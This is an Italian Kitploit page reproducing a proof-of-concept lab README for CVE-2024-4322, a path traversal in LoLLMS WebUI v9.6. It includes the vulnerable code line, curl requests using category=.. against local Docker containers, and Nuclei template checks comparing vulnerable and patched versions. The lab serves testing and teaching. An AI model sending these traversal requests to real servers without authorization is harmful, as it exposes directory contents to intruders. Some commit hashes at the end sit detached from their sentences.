Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Strumenti/GitHubGitHub/mj-bin/poc_cve-2024-4322
Analisi delle VulnerabilitàExploitSicurezza WebCTFApprendimento e FormazioneLab e Pratica
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-4322: Laboratorio PoC e Validazione Nuclei per LoLLMS WebUI

Questo repository fornisce laboratori locali containerizzati per riprodurre CVE-2024-4322, una vulnerabilità di path traversal in LoLLMS WebUI v9.6, e per validare che il relativo template Nuclei non corrisponda a LoLLMS WebUI v9.8.

Utilizza questo laboratorio solo contro target locali, di tua proprietà o esplicitamente autorizzati.

Riepilogo della Vulnerabilità

L'endpoint /list_personalities in LoLLMS WebUI v9.6 è vulnerabile a path traversal. Il parametro category controllato dall'utente viene aggiunto a personalities_zoo_path senza sanitizzazione:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Inviando category=.., la richiesta può uscire dalla directory prevista per le personalità e elencare il contenuto di una directory padre.

Segnale atteso di vulnerabilità:

root@kitploit:~
category=   -> []
category=.. -> la risposta contiene "personalities_zoo"

Il comportamento della versione corretta v9.8 rifiuta l'input di traversal prima di elencare la directory.

Matrice dei Laboratori

Esegui tutti i comandi dalla directory che contiene questo README.

Laboratorio Linux Vulnerabile

1. Avvia il Server

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Attendi:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Premi Ctrl-C per interrompere il monitoraggio dei log. Il container continua a funzionare.

2. Verifica il Comportamento HTTP

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Risultato atteso:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

L'ordine può variare. Il segnale importante è che la risposta di traversal differisce dalla risposta di controllo e contiene personalities_zoo.

3. Convalida con Nuclei

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Risultato atteso:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Verifica Nuclei Linux vulnerabile

Laboratorio Linux Corretto

1. Avvia il Server

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Attendi:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verifica il Comportamento HTTP

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Risultato atteso:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Convalida con Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Risultato atteso:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Verifica Nuclei Linux corretto

Laboratorio Windows Vulnerabile

Richiede Docker Desktop in modalità container Windows. Esegui i comandi sotto da questa directory in PowerShell.

1. Avvia il Server

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Attendi:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verifica il Comportamento HTTP

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Risultato atteso:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

L'ordine può variare. Il segnale importante è che la risposta di traversal differisce dalla risposta di controllo e contiene personalities_zoo.

3. Convalida con Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Risultato atteso:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Verifica Nuclei Windows vulnerabile

Laboratorio Windows Corretto

Richiede Docker Desktop in modalità container Windows. Esegui i comandi sotto da questa directory in PowerShell.

1. Avvia il Server

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Attendi:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verifica il Comportamento HTTP

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Risultato atteso:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Convalida con Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Risultato atteso:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Verifica Nuclei Windows corretto

Pulizia

Container Linux:

root@kitploit:~
docker compose --profile patched down --rmi local

Container Windows:

root@kitploit:~
docker compose --profile windows down

Requisiti

  • Docker e Docker Compose.
  • Docker Desktop in modalità container Windows per i laboratori Windows.
  • curl.
  • jq per gli esempi HTTP Linux vulnerabili.
  • Nuclei per la validazione del template.

Se jq non è disponibile sull'host Linux, utilizza il contenitore analyst:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Se Nuclei non è installato su Windows, scarica il binario della versione Windows da https://github.com/projectdiscovery/nuclei/releases, decomprimilo ed esegui nuclei.exe direttamente dalla directory estratta.

Note di Configurazione del Laboratorio

I Dockerfile correggono gli installer storici durante la build in modo che il laboratorio sia riproducibile oggi:

  • I laboratori vulnerabili clonano il tag v9.6 di lollms-webui.

  • I laboratori corretti clonano il tag v9.8 di lollms-webui.

  • L'URL del sottomodulo lollms_core viene riscritto in https://github.com/ParisNeo/lollms_legacy.git perché la vecchia storia del sorgente è stata spostata lì.

  • Il pinning della versione viene verificato rispetto ai metadati Git upstream: v9.6 è e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, e v9.8 è 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • I corrispondenti commit del sottomodulo lollms_core sono per v9.6 e per v9.8, verificati con su ogni checkout del tag.

Motivazione della Correzione

L'invariante violata è:

root@kitploit:~
il percorso risolto deve rimanere all'interno della directory delle personalità

LoLLMS WebUI v9.8 e successive risolvono il problema sanitizzando o vincolando il percorso category prima che raggiunga la logica di elenco delle directory del filesystem. Per distribuzioni reali, aggiorna LoLLMS WebUI alla versione 9.8 o successiva.

Scarica lo strumento
AmbienteVersioneServizioURL HostRisultato atteso del template
Linux vulnerabilev9.6linux-vuln-serverhttp://127.0.0.1:9600match
Linux correttov9.8linux-patched-serverhttp://127.0.0.1:9602nessun match
Windows vulnerabilev9.6windows-vuln-serverhttp://127.0.0.1:9601match
Windows correttov9.8windows-patched-serverhttp://127.0.0.1:9603nessun match
cfb18f6f1091addf440347322441ab28005a2d3b
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
git ls-tree HEAD lollms_core
  • Le opzioni auto_update e auto_sync_* sono disabilitate per mantenere ogni laboratorio bloccato.

  • I file di configurazione headless vengono iniettati in modo che il server possa avviarsi senza prompt.

  • Le dipendenze pesanti non necessarie per la validazione dell'endpoint vengono saltate ove possibile.

  • Gli installer Windows vengono corretti per creare la loro directory temporanea e per evitare sottomoduli ricorsivi obsoleti.